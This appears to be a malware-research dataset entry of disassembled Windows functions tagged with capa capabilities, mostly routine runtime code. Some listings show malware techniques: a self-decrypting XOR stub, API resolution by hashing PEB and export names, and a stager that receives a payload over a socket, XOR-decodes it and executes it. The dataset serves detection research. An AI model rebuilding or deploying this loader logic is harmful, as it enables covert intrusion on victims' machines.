joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1802b0cc0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1802b0cf0
xor eax, eax
jmp 0x1802b0db3
mov rbp, rbx
cmp word [rax], si
je 0x1802b0d15
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1802b0cfc
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1802b0cf8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1802ad9c0
movsxd r14, eax
test eax, eax
jne 0x1802b0d53
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1802b0ce9
mov rcx, r14
call fcn.1802a9b78
mov rdi, rax
test rax, rax
jne 0x1802b0d6c
xor ecx, ecx
call fcn.1802a8920
jmp 0x1802b0d48
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1802ad9c0
test eax, eax
jne 0x1802b0d9d
mov rcx, rdi
call fcn.1802a8920
jmp 0x1802b0da7
xor ecx, ecx
call fcn.1802a8920
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1802b0dd0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1802b0e57
mov rsi, rbx
cmp word [rax], bp
je 0x1802b0e16
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1802b0e00
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1802b0dfc
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1802a9b78
mov rdi, rax
test rax, rax
je 0x1802b0e44
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1802bfb00
mov rbp, rdi
xor ecx, ecx
call fcn.1802a8920
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1802b1914
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1802b1934
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.180294894
or eax, 0xffffffff
jmp 0x1802b1936
xor eax, eax
add rsp, 0x28
ret

Function at 0x1802b4270
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1802a6b68
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1802b4311
cmp ebx, dword [rsp + 0x30]
je 0x1802b430a
test esi, esi
je 0x1802b430a
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1802b42e5
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1802b42f2
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1802b42cf
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1802b42f6
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1802b4313
mov eax, 1
jmp 0x1802b4313
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1802b69e0
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x180717100]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x1802b6a2a
call fcn.180294900
mov dword [rax], reloc.WS2_32.dll_ntohs
call fcn.180294920
mov dword [rax], reloc.WS2_32.dll_listen
call fcn.18028d814
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.18027f010
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x1802b6a35
lea eax, [rbx + 1]
jmp 0x1802b6a17
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x1802b6a15
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x1802b6a17
Function at 0x1802b6d24
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.18028d928
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1802b6dae
cmp byte [rbp - 0x21], r15b
je 0x1802b6da9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1802b6de4
call fcn.1802a9198
test eax, eax
jne 0x1802b6dd0
cmp byte [rbp - 0x21], r15b
je 0x1802b6dc8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1802b6de4
cmp byte [rbp - 0x21], r15b
je 0x1802b6de1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.180299060
test eax, eax
jne 0x1802b6e84
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.18028d928
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1802b6e23
cmp byte [rbp - 0x21], r15b
je 0x1802b6e58
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1802b6e58
call fcn.1802a9198
test eax, eax
jne 0x1802b6e44
cmp byte [rbp - 0x21], r15b
je 0x1802b6e3d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1802b6e58
cmp byte [rbp - 0x21], r15b
je 0x1802b6e55
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.180299060
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1802b6e84
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1802b6e87
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1802b6e95
mov rcx, rdi
call fcn.1802a8920
cmp byte [rbp + 0x3f], r15b
je 0x1802b6ea4
mov rcx, qword [rbp + 0x27]
call fcn.1802a8920
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x1802b8370
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1802b8398
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1802b8398
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140f6b060
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f6b06a
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f6b093
pop rbp
sub rbp, 0x33
sub rbp, 0xf6b060
sub rsp, 0x20
jmp 0x140f6b0b2
mov rax, 0xf6b060
add rax, rbp
add eax, ebp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffb73d71b3
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f6b0d1
jmp 0x140f6b0e8
sti
cmp bl, byte [rdx + 0x38]
cmp cl, byte [rdi - 0x44c4c4d]
xor dh, byte [rdx - 0x45]
mov dl, 0xb3
mov bl, 0xfb
mov dl, 0x5a
sti
je 0x140f6b171
jae 0x140f6b0ba
mov ebx, 0xfbb3b3b3
mov bl, 0xb3
mov bl, 0xfb
je 0x140f6b176
wait
mov bl, 0xb3
mov bl, 0xfb
push rcx
sti
mov dl, 0x72
cmp byte [rdx], dh
mov edi, 0xfbb3b3b3
mov dl, 0x5b
jrcxz 0x140f6b0fd
sti
or esi, ebx
ja 0x140f6b0b9
mov bl, 0xb3
mov bl, 0xb3
mov bl, 0xfb
or ch, byte [rbp - 0x4c4c80a1]
mov bl, 0xb3
mov bl, 0xfb
mov dl, 0x5a
sti
or dword [0xf45e92af], ecx
mov bl, 0xb3
mov bl, 0x5b
mov dh, 0xb3
mov bl, 0xb3
pop rdx
movsd dword [rdi], dword [rsi]
mov bl, 0xb3
mov bl, 0x72
pop rbx
mov cl, 0x82
movabs byte [0xfbb3b3b3b77232fb], al
jnp 0x140f6b111
pop rbp
jo 0x140f6b147
jmp 0x14cf29542
mov bl, 0xb3
sti
mov dl, 0x5a
pop rbx
mov dh, 0xb3
mov bl, 0xb3
pop rdx
mov cl, 0xb3
mov bl, 0xe1
pop rbx
invalid
Function at 0x140004000
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000404a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000404a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000404a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000404a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000404a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000404c
xor al, al
add rsp, 0x28
ret
Function at 0x14001694c
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov rax, qword [0x14004f0c0]
xor rax, rsp
mov qword [rbp - 8], rax
mov rbx, rcx
mov qword [rbp - 0x48], rcx
and dword [rbp - 0x50], 0
mov qword [rcx + 0x18], 0xf
and qword [rcx + 0x10], 0
mov byte [rcx], 0
mov dword [rbp - 0x50], 1
xor eax, eax
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x18]
test rax, rax
je 0x140016a21
mov edi, 0x10
lea rcx, [rbp - 0x18]
cmp dword [0x140052f44], 1
jne 0x1400169cf
mov r9d, edi
lea r8, [0x1400530a8]
mov edx, edi
call fcn.14001fd98
jmp 0x1400169fa
mov dl, 1
call fcn.140017d20
test al, al
je 0x1400169fa
mov r9, rdi
lea r8, [rbp - 0x18]
mov rdx, rdi
lea rcx, [0x1400530a8]
call fcn.14001fd98
mov dword [0x140052f44], 1
lea rdx, [rbp - 0x18]
lea rcx, [rbp - 0x38]
call fcn.14001c568
mov rdx, rax
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
and qword [rbp - 0x40], 0
and dword [rbp - 0x40], 0
and qword [rbp - 0x28], 0
and qword [rbp - 0x20], 0
and qword [rbp - 0x18], 0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x20]
and bl, ch
invalid
movzx eax, word [rdx + 0x48]
mov r8, qword [rdx + 0x50]
xor ecx, ecx
shr eax, 1
test eax, eax
jle 0x140016a82
mov r9d, eax
movzx eax, word [r8]
add r8, 2
cmp ax, 0x61
jb 0x140016a72
mov r10d, 0xffe0
add ax, r10w
imul ecx, ecx, 0x83
movzx eax, ax
add ecx, eax
dec r9
jne 0x140016a5a
btr ecx, 0x1f
cmp ecx, 0x1cca9ce6
je 0x140016bcf
mov rdx, qword [rdx]
test rdx, rdx
jne 0x140016a47
xor ebx, ebx
xor r8d, r8d
mov edx, 0x1ab9b854
mov rcx, rbx
call fcn.140017387
mov edx, 0x7f201f78
mov rcx, rbx
mov r8, rax
mov qword [rsp + 0x30], rax
call fcn.140017387
mov r8, qword [rsp + 0x30]
mov edx, 0x5e893462
mov rcx, rbx
mov qword [rsp + 0x38], rax
call fcn.140017387
mov r8, qword [rsp + 0x30]
mov edx, 0x6488073
mov rcx, rbx
mov qword [rsp + 0x40], rax
call fcn.140017387
mov r8, qword [rsp + 0x30]
mov edx, 0x705cf2a5
mov rcx, rbx
mov qword [rsp + 0x48], rax
call fcn.140017387
mov r8, qword [rsp + 0x30]
mov edx, 0x1705125a
mov rcx, rbx
mov qword [rsp + 0x50], rax
call fcn.140017387
lea rcx, [rbp + 0x1b0]
mov dword [rbp + 0x1b0], 0x6c64746e
mov qword [rsp + 0x58], rax
mov word [rbp + 0x1b4], 0x6c
call qword [rsp + 0x38]
mov r8, qword [rsp + 0x30]
mov edx, 0xdb579cb
mov rcx, rax
mov rbx, rax
call fcn.140017387
mov r8, qword [rsp + 0x30]
mov edx, 0x1518e9c0
mov rcx, rbx
mov qword [rsp + 0x60], rax
call fcn.140017387
xor edx, edx
xor ecx, ecx
mov rbx, qword [rdx + 0x20]
jmp 0x140016a9c
Function at 0x140016b70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x68], rax
lea r8, [0x140016a0b]
cmp byte [rcx + r8], 0x63
jne 0x140016bbb
cmp byte [rcx + r8 + 1], 0x6f
jne 0x140016bbb
cmp byte [rcx + r8 + 2], 0x64
jne 0x140016bbb
cmp byte [rcx + r8 + 3], 0x65
jne 0x140016bbb
cmp byte [rcx + r8 + 4], 0x6d
jne 0x140016bbb
cmp byte [rcx + r8 + 5], 0x61
jne 0x140016bbb
cmp byte [rcx + r8 + 6], 0x72
jne 0x140016bbb
cmp byte [rcx + r8 + 7], 0x6b
je 0x140016bd8
inc rcx
inc edx
cmp rcx, 0x5208
jge 0x140016c64
jmp 0x140016b7c
movsxd rax, edx
mov ebx, 0x3000
mov r9d, 4
add rax, r8
mov r8d, ebx
xor ecx, ecx
mov qword [rbp - 0x20], rax
movsxd rdx, dword [rax + 0x20]
call qword [rsp + 0x40]
mov rcx, qword [rbp - 0x20]
mov qword [rbp - 0x10], rax
movsxd rdx, dword [rcx + 0x20]
mov rcx, rax
call qword [rsp + 0x60]
mov rdx, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x10]
movsxd r8, dword [rdx + 0x20]
add rdx, 0x38
call qword [rsp + 0x68]
mov r11, qword [rbp - 0x20]
mov r9d, 4
movsxd rdx, dword [r11 + 0x2c]
mov r8d, ebx
xor ecx, ecx
call qword [rsp + 0x40]
mov rcx, qword [rbp - 0x20]
mov qword [rbp - 8], rax
movsxd rdx, dword [rcx + 0x2c]
mov rcx, rax
call qword [rsp + 0x60]
mov r11, qword [rbp - 0x20]
mov rcx, qword [rbp - 8]
movsxd rax, dword [r11 + 0x20]
movsxd r8, dword [r11 + 0x2c]
lea rdx, [rax + r11 + 0x38]
call qword [rsp + 0x68]
mov rdx, qword [rbp - 0x20]
movsxd rax, dword [rdx + 0x2c]
movsxd rcx, dword [rdx + 0x20]
mov dword [rsp + 0x20], 0x5f327357
add rax, rdx
mov dword [rsp + 0x24], 0x642e3233
mov word [rsp + 0x28], 0x6c6c
lea rcx, [rcx + rax + 0x38]
mov byte [rsp + 0x2a], 0
mov qword [rbp - 0x18], rcx
lea rcx, [rsp + 0x20]
call qword [rsp + 0x38]
mov r8, qword [rsp + 0x30]
mov edx, 0x33522634
mov rcx, rax
mov rbx, rax
call fcn.140017387
mov r8, qword [rsp + 0x30]
mov edx, 0x26402d9f
mov rcx, rbx
mov qword [rsp + 0x70], rax
call fcn.140017387
mov r8, qword [rsp + 0x30]
mov edx, 0x41539501
mov rcx, rbx
mov qword [rsp + 0x78], rax
call fcn.140017387
Function at 0x140016deb
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x20
xor edi, edi
mov ebp, edx
mov rbx, rcx
lea edx, [rdi + 1]
lea ecx, [rdi + 2]
lea r8d, [rdi + 6]
mov esi, edi
mov qword [rsp + 0x50], rdi
call qword [rbx + 0x48]
mov qword [rbx + 0x90], rax
cmp rax, 0xffffffffffffffff
je 0x140016fec
lea r9d, [rdi + 0x40]
mov edx, 0x8000e
xor ecx, ecx
mov r8d, 0x3000
call qword [rbx + 0x10]
mov qword [rbx + 0xa8], rax
test rax, rax
je 0x140016fec
cmp ebp, 1
jne 0x140016e5b
mov rcx, qword [rbx + 0xc0]
jmp 0x140016e62
mov rcx, qword [rbx + 0xc8]
lea r9, [rsp + 0x50]
xor r8d, r8d
xor edx, edx
call qword [rbx + 0x50]
test eax, eax
jne 0x140016fec
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 0x20]
mov rax, qword [rbx + 0xb0]
movups xmm0, xmmword [rcx]
movdqu xmmword [rbx + 0x98], xmm0
cmp ebp, 1
jne 0x140016e9c
mov ecx, dword [rax + 0x24]
jmp 0x140016e9f
mov ecx, dword [rax + 0x30]
call qword [rbx + 0x60]
mov rcx, qword [rbx + 0x90]
lea rdx, [rbx + 0x98]
mov r8d, 0x10
mov word [rbx + 0x9a], ax
call qword [rbx + 0x68]
cmp eax, 0xffffffff
je 0x140016fec
mov rcx, qword [rbx + 0x90]
xor r9d, r9d
lea rdx, [rsp + 0x40]
lea r8d, [r9 + 3]
mov word [rsp + 0x40], 0x3436
mov byte [rsp + 0x42], dil
call qword [rbx + 0x70]
test eax, eax
jle 0x140016fec
xor ecx, ecx
mov edx, 0x4d800
mov r8d, 0x3000
lea r9d, [rcx + 4]
mov ebp, edi
call qword [rbx + 0x10]
mov rsi, rax
test rax, rax
je 0x140016fec
mov rcx, qword [rbx + 0x90]
xor r9d, r9d
mov r8d, 0x19000
mov rdx, rsi
call qword [rbx + 0x78]
mov r12d, eax
test eax, eax
jle 0x140016fec
movsxd rcx, ebp
mov r8d, r12d
mov rdx, rsi
add rcx, qword [rbx + 0xa8]
call qword [rbx + 0x38]
add ebp, r12d
cmp ebp, 0x4b00e
jne 0x140016f15
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [rbx + 0x18]
mov r11, qword [rbx + 0xa8]
mov r10, rdi
lea rax, [r11 + 0xe]
mov r9, rdi
mov qword [rbx + 0xa8], rax
movzx ecx, byte [r10 + r11 + 4]
mov r8, qword [rbx + 0xa8]
mov eax, 0x8fb823ef
inc r10
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x66666667
imul edx, edx, 0x1c8
sub ecx, edx
imul edi
add cl, 0x36
xor byte [r8 + r9], cl
sar edx, 2
mov ecx, edi
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
neg ecx
sbb rax, rax
inc edi
inc r9
and r10, rax
cmp edi, 0x4b00e
jl 0x140016f7a
call qword [rbx + 0xa8]
mov rcx, qword [rbx + 0xb8]
call rax
jmp 0x140016fea
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140016ff9
call qword [rbx + 0x58]
mov rcx, qword [rbx + 0x90]
cmp rcx, 0xffffffffffffffff
je 0x14001700c
call qword [rbx + 0x80]
mov rcx, qword [rbx + 0xa8]
test rcx, rcx
je 0x140017023
xor edx, edx
mov r8d, 0x8000
call qword [rbx + 0x18]
test rsi, rsi
je 0x140017036
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [rbx + 0x18]
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x58]
add rsp, 0x20
pop r12
pop rdi
pop rsi
ret
Function at 0x140017387
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
mov r9, rcx
mov rbx, r8
mov ecx, dword [rax + rcx + 0x88]
mov r12d, edx
test ecx, ecx
je 0x140017426
cmp dword [rax + r9 + 0x8c], 0
je 0x140017426
lea rax, [r9 + rcx]
mov r11d, dword [rax + 0x18]
test r11d, r11d
je 0x140017426
mov edx, dword [rax + 0x20]
mov edi, dword [rax + 0x1c]
mov esi, dword [rax + 0x24]
add rdx, r9
add rdi, r9
add rsi, r9
xor ecx, ecx
test r11d, r11d
je 0x140017426
mov r8d, dword [rdx]
add r8, r9
xor r10d, r10d
mov al, byte [r8]
mov rbp, r8
jmp 0x14001740d
imul r10d, r10d, 0x83
movsx eax, al
add r10d, eax
inc rbp
mov al, byte [rbp]
test al, al
jne 0x1400173fa
btr r10d, 0x1f
cmp r10d, r12d
je 0x140017443
inc ecx
add rdx, 4
cmp ecx, r11d
jb 0x1400173e9
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
test rbx, rbx
jne 0x140017454
movzx ecx, word [rsi + rcx*2]
mov eax, dword [rdi + rcx*4]
add rax, r9
jmp 0x140017428
mov rdx, r8
mov rcx, r9
mov rax, rbx
call rax
jmp 0x140017428
Function at 0x140018434
Capabilities:
Get common file path
Get startup folder

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
lea rbp, [rax - 0x198]
sub rsp, 0x280
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x14004f0c0]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov dil, dl
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor r14d, r14d
mov dword [rsp + 0x20], r14d
mov qword [rcx + 0x18], 7
mov qword [rcx + 0x10], r14
mov word [rcx], r14w
mov dword [rsp + 0x20], 1
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x60]
call fcn.140021140
mov al, dil
neg al
sbb r8d, r8d
and r8d, 0xfffffff7
add r8d, 0x23
lea r9d, [r14 + 1]
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x140018576
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x48], r14
mov word [rsp + 0x38], r14w
cmp word [rsp + 0x60], r14w
jne 0x1400184ee
mov r8d, r14d
jmp 0x140018501
lea rax, [rsp + 0x60]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], r14w
jne 0x1400184f7
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.140001f78
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.14000fc78
nop
cmp qword [rsp + 0x50], 8
jb 0x140018538
mov rcx, qword [rsp + 0x38]
call fcn.14001edb8
mov rcx, rbx
test dil, dil
lea rdx, str.TencentDeskUpdate
jne 0x14001854e
lea rdx, str.TencentDesktop
call fcn.14000fb00
mov rcx, rbx
call fcn.1400185a0
test al, al
jne 0x140018567
mov rcx, rbx
call fcn.140018778
lea rdx, str.Global.db
mov rcx, rbx
call fcn.14000fb00
mov rax, rbx
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.14001edd0
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x280
pop r14
pop rdi
pop rbp
ret
Function at 0x416c80
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x416e0b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00435140
xorps xmm15, xmm15
mov r14, qword [0x006c43b8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x416ce5
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x416cf4
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x416d13
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x416d23
cmp rbx, 0x1000
jae 0x416ceb
jmp 0x416d8d
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x416d35
xor edx, edx
jmp 0x416d84
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00435140
xorps xmm15, xmm15
mov r14, qword [0x006c43b8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x416d19
jmp 0x416d08
call fcn.00468a60
xorps xmm15, xmm15
mov r14, qword [0x006c43b8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.004393c0
lea rax, [0x005464ee]
mov ebx, 0x18
nop dword [rax]
call fcn.00439c40
mov rax, qword [rsp + 0x38]
call fcn.00439980
lea rax, [0x005468a5]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00439c40
mov rax, qword [rsp + 0x30]
call fcn.00439980
call fcn.00439600
call fcn.00439420
lea rax, [0x00548905]
mov ebx, 0x21
call fcn.00437920
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004652e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00416c80
Function at 0x416e40
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x417066
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.004351c0
xorps xmm15, xmm15
mov r14, qword [0x006c43b8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x416eb3
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x416ec2
add rsp, 0x50
pop rbp
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x416ee5
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x416ef5
cmp rbx, 0x1000
jae 0x416eb9
nop
jmp 0x416f78
add rsp, 0x50
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop word [rax + rax]
cmp rbx, 0x1000
jae 0x416f0d
xor esi, esi
jmp 0x416f6a
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
